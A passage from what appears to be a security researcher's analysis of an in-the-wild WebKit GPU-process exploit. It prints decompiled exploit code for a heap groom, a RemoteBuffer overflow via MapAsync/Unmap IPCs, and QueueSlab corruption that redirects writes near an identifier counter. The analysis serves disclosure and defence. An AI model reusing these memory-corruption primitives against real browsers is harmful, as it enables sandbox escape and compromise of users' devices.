<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><ol class="c8 lst-kix_shbeio5ln3sf-0 start" start="1"><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteBuffer::MapAsync</span><span class="YrefKOOkxY-c5"> - sets up the destination pointer for the overflow</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteBufferUnmap</span><span class="YrefKOOkxY-c5"> - performs the overflow, corrupting queue metadata</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteDisplayListRecorder::DrawNativeImage</span><span class="YrefKOOkxY-c5"> - uses the corrupted queue metadata to write a pointer to a controlled address</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteCDMFactoryProxy::CreateCDM</span><span class="YrefKOOkxY-c5"> - discloses the written pointer pointer value</span></li></ol>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">We'll look at each of those in turn:</span></p><h3 class="YrefKOOkxY-c6" id="h.juyeu9188qgr"><span class="YrefKOOkxY-c10">IPC 1 - MapAsync</span></h3>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (m = 0; m < 6; m++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> index_of_corruptor = m;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(remote_device_buffer_id_base + m,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x4000LL,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0LL);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPHqd83zzk0t69Zv406G_p93zAOAmrUtAz6-g6wnQfT1rQ_eViIYveasECdYVTO1MrK_wHcGaiYltNbX7Htfc9TJpsa45Q5y2mXse_cse34fl4fQJdbopVhLSwKE_XlPDWa2FfsVhPr5VTkrnwV2uBOvZ_YyfDmRiz8mb13ejtW-mHQcmkcSrwwkvZwY8/s581/image14.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPHqd83zzk0t69Zv406G_p93zAOAmrUtAz6-g6wnQfT1rQ_eViIYveasECdYVTO1MrK_wHcGaiYltNbX7Htfc9TJpsa45Q5y2mXse_cse34fl4fQJdbopVhLSwKE_XlPDWa2FfsVhPr5VTkrnwV2uBOvZ_YyfDmRiz8mb13ejtW-mHQcmkcSrwwkvZwY8/s581/image14.png" border="0" alt="Diagram showing the relationship between RemoteBuffer objects, their backing buffers and the QueueSlab pages. The backing buffers and QueueSlab pages alternate" style="max-height: 750px; max-width: 600px;"title="Diagram showing the relationship between RemoteBuffer objects, their backing buffers and the QueueSlab pages. The backing buffers and QueueSlab pages alternate" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They iterate through all 6 of the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> objects in the hope that the groom successfully placed at least one of them directly before a </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> allocation. This </span><span class="YrefKOOkxY-c3">MapAsync</span><span> IPC sets the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span>'s </span><span class="YrefKOOkxY-c3">m_mappedRange->source</span><span> field to point at the very end (hopefully at a </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5">.)</span></p><h3 class="YrefKOOkxY-c6" id="h.d3tkakpsownh"><span class="YrefKOOkxY-c10">IPC 2 - Unmap</span></h3>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> wrap_remote_buffer_unmap(remote_device_buffer_id_base + m,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current - 0x88)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">wrap_remote_buffer_unmap</span><span> is the wrapper function we've seen snippets of before which calls the </span><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> IPC:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void* wrap_remote_buffer_unmap(int64 dst, int64 arg)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 b[5];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[0] = 0x7F6F3229LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[1] = 0LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[2] = 0LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[3] = 0xFFFFLL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> b[4] = arg;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return IPC_RemoteBuffer_Unmap(dst, b, 40LL);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">arg</span><span> value passed to </span><span class="YrefKOOkxY-c3">wrap_remote_buffer_unmap</span><span> (which is the base target address for the overwrite in the next step) is </span><span class="YrefKOOkxY-c3">(WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current - 0x88)</span><span class="YrefKOOkxY-c5">, a symbol which was linked by the JS find-and-replace on the Mach-O, it points to the global variable used here:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int64 WTF::ObjectIdentifierBase::generateIdentifierInternal()</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return ++WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>As the name suggests, this is used to generate unique ids using a monotonically-increasing counter (there is a level of locking above this function.) The value passed in the </span><span class="YrefKOOkxY-c3">Unmap</span><span> IPC points </span><span class="YrefKOOkxY-c3">0x88</span><span> below the address of </span><span class="YrefKOOkxY-c3">::current</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAww3z050R_dVijQpVdfLcavJy3a5fGpg6kDk71PjQW4okhHen7EdNUndSHT9Qxq_OAzC71ZMSGBbI-BmxX8p-6keXghnEPSLAGGdOCRL27fgLLgF0GjM0YtFbQro87p1HMuZvJ3sns87tRYRWbhGWFlLNxK11xcnfp6aKRtlmgXBlu_0jEoynRm1q0Ys/s548/image3.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAww3z050R_dVijQpVdfLcavJy3a5fGpg6kDk71PjQW4okhHen7EdNUndSHT9Qxq_OAzC71ZMSGBbI-BmxX8p-6keXghnEPSLAGGdOCRL27fgLLgF0GjM0YtFbQro87p1HMuZvJ3sns87tRYRWbhGWFlLNxK11xcnfp6aKRtlmgXBlu_0jEoynRm1q0Ys/s548/image3.png" border="0" alt="Diagram showing the corruption primitive being used to move the end pointer out of the allocated buffer to 0x88 bytes below the target" style="max-height: 750px; max-width: 600px;"title="Diagram showing the corruption primitive being used to move the end pointer out of the allocated buffer to 0x88 bytes below the target" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>If the groom works, this has the effect of corrupting a </span><span class="YrefKOOkxY-c3">QueueSlab</span><span>'s inline buffer pointer with a pointer to </span><span class="YrefKOOkxY-c3">0x88</span><span class="YrefKOOkxY-c5"> bytes below the counter used by the GPU process to allocate new identifiers.</span></p><h3 class="YrefKOOkxY-c6" id="h.k053kyitpufk"><span class="YrefKOOkxY-c10">IPC 3 - DrawNativeImage</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for ( n = 0; n < 0x22; ++n ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (n == 2 || n == 4 || n == 6 || n == 8 || n == 10 || n == 12) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDisplayListRecorder_DrawNativeImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + n,// potentially corrupted target</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 34LL);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The exploit then iterates through all the </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> objects (skipping those which were released to make gaps for the </span><span class="YrefKOOkxY-c3">RemoteBuffers</span><span>) and passes each in turn as the first argument to </span><span class="YrefKOOkxY-c3">IPC_RemoteDisplayListRecorder_DrawNativeImage</span><span>. The hope is that one of them had their associated </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> structure corrupted. The second argument passed to </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span> is the </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> which had </span><span class="YrefKOOkxY-c3">CacheNativeImage</span><span class="YrefKOOkxY-c5"> called on it earlier.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Let's follow the implementation of </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span> on the GPU process side to see what happens with the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> associated with that first </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void RemoteDisplayListRecorder::drawNativeImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RenderingResourceIdentifier imageIdentifier,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatSize& imageSize,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& destRect,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& srcRect,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ImagePaintingOptions& options)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> drawNativeImageWithQualifiedIdentifier(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {imageIdentifier, m_webProcessIdentifier},</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> imageSize,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> destRect,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> srcRect,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This immediately calls through to:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteDisplayListRecorder::drawNativeImageWithQualifiedIdentifier(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> QualifiedRenderingResourceIdentifier imageIdentifier,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatSize& imageSize,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& destRect,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const FloatRect& srcRect,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ImagePaintingOptions& options)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RefPtr image = resourceCache().cachedNativeImage(imageIdentifier);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!image) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT_NOT_REACHED();</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> handleItem(DisplayList::DrawNativeImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> imageIdentifier.object(),</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> imageSize,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> destRect, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> srcRect, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> options),</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *image);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">imageIdentifier</span><span> here corresponds to the ID of the </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> which was passed to </span><span class="YrefKOOkxY-c3">CacheNativeImage</span><span> earlier. Looking briefly at the implementation of </span><span class="YrefKOOkxY-c3">CacheNativeImage</span><span> we can see that it allocates a </span><span class="YrefKOOkxY-c3">NativeImage</span><span> object (which is what ends up being returned by the call to </span><span class="YrefKOOkxY-c3">cache</span><span class="YrefKOOkxY-c15">d</span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> above):</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteRenderingBackend::cacheNativeImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ShareableBitmap::Handle& handle,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> RenderingResourceIdentifier nativeImageResourceIdentifier)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> cacheNativeImageWithQualifiedIdentifier(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> handle,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {nativeImageResourceIdentifier,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_gpuConnectionToWebProcess->webProcessIdentifier()}</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> );</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteRenderingBackend::cacheNativeImageWithQualifiedIdentifier(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const ShareableBitmap::Handle& handle,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> QualifiedRenderingResourceIdentifier nativeImageResourceIdentifier)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto bitmap = ShareableBitmap::create(handle);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!bitmap)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto image = NativeImage::create(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bitmap->createPlatformImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> DontCopyBackingStore,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ShouldInterpolate::Yes), </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> nativeImageResourceIdentifier.object());</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!image)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_remoteResourceCache.cacheNativeImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image.releaseNonNull(),</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> nativeImageResourceIdentifier);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This </span><span class="YrefKOOkxY-c3">NativeImage</span><span class="YrefKOOkxY-c5"> object is allocated by the default system malloc.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Returning to the </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span class="YrefKOOkxY-c5"> flow we reach this:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void DrawNativeImage::apply(GraphicsContext& context, NativeImage& image) const</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> context.drawNativeImage(image, m_imageSize, m_destinationRect, m_srcRect, m_options);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">context</span><span> object is a </span><span class="YrefKOOkxY-c3">GraphicsContextCG</span><span>, a wrapper around a system </span><span class="YrefKOOkxY-c3">CoreGraphics</span><span> </span><span class="YrefKOOkxY-c3">CGContext</span><span class="YrefKOOkxY-c5"> object:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void GraphicsContextCG::drawNativeImage(NativeImage& nativeImage, const FloatSize& imageSize, const FloatRect& destRect, const FloatRect& srcRect, const ImagePaintingOptions& options)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This ends up calling:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CGContextDrawImage(context, adjustedDestRect, subImage.get());</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Which calls </span><span class="YrefKOOkxY-c0">CGContextDrawImageWithOptions.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Through a few more levels of indirection in the </span><span class="YrefKOOkxY-c3">CoreGraphics</span><span class="YrefKOOkxY-c5"> library this eventually reaches:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">int64 CA::CG::ContextDelegate::draw_image_(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 delegate,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a2,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> int64 a3,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImage *image...) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alloc_from_slab = CA::CG::Queue::alloc(queue, 160);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (alloc_from_slab)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CA::CG::DrawImage::DrawImage(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> alloc_from_slab,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> Info_2,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> a2, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> a3, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> FillColor_2, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &v18, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> AlternateImage_0);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Via the </span><span class="YrefKOOkxY-c3">delegate</span><span> object the code retrieves the </span><span class="YrefKOOkxY-c3">CGContext</span><span> and from there the </span><span class="YrefKOOkxY-c3">Queue</span><span> with the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5">. They then make a 160 byte allocation from the corrupted queue slab.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void*</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CA::CG::Queue::alloc(CA::CG::Queue *q, __int64 size)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t buffer*;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> size_rounded = (size + 31) & 0xFFFFFFFFFFFFFFF0LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> current_slab = q->current_slab;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !current_slab )</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> goto alloc_slab;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !q->c || current_slab->remaining_size >= size_rounded )</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> goto GOT_ENOUGH_SPACE;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">GOT_ENOUGH_SPACE:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remaining_size = current_slab->remaining_size;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new_remaining = remaining_size - size_requested_rounded;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( remaining_size >= size_requested_rounded )</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">buffer = current_slab->end</span><span class="YrefKOOkxY-c0">;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> current_slab->remaining_size = new_remaining;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> current_slab->end = buffer + size_rounded;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> goto RETURN_ALLOC;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RETURN_ALLOC:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">buffer[0]</span><span class="YrefKOOkxY-c0"> = size_rounded;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> atomic_fetch_add(q->alloc_meta);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">buffer[1]</span><span class="YrefKOOkxY-c0"> = q->alloc_meta</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c15">return &buffer[2]</span><span class="YrefKOOkxY-c0">;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>When </span><span class="YrefKOOkxY-c3">CA::CG::Queue::alloc</span><span> attempts to allocate from the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span>, it sees that the slab claims to have </span><span class="YrefKOOkxY-c3">0xffff</span><span> bytes of free space remaining so proceeds to write a </span><span class="YrefKOOkxY-c3">0x10</span><span> byte header into the buffer by following the </span><span class="YrefKOOkxY-c3">end</span><span> pointer, then returns that </span><span class="YrefKOOkxY-c3">end</span><span> pointer plus </span><span class="YrefKOOkxY-c3">0x10</span><span>. This has the effect of returning a value which points </span><span class="YrefKOOkxY-c3">0x78</span><span> bytes below the </span><span class="YrefKOOkxY-c3">WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current</span><span class="YrefKOOkxY-c5"> global.</span></p>
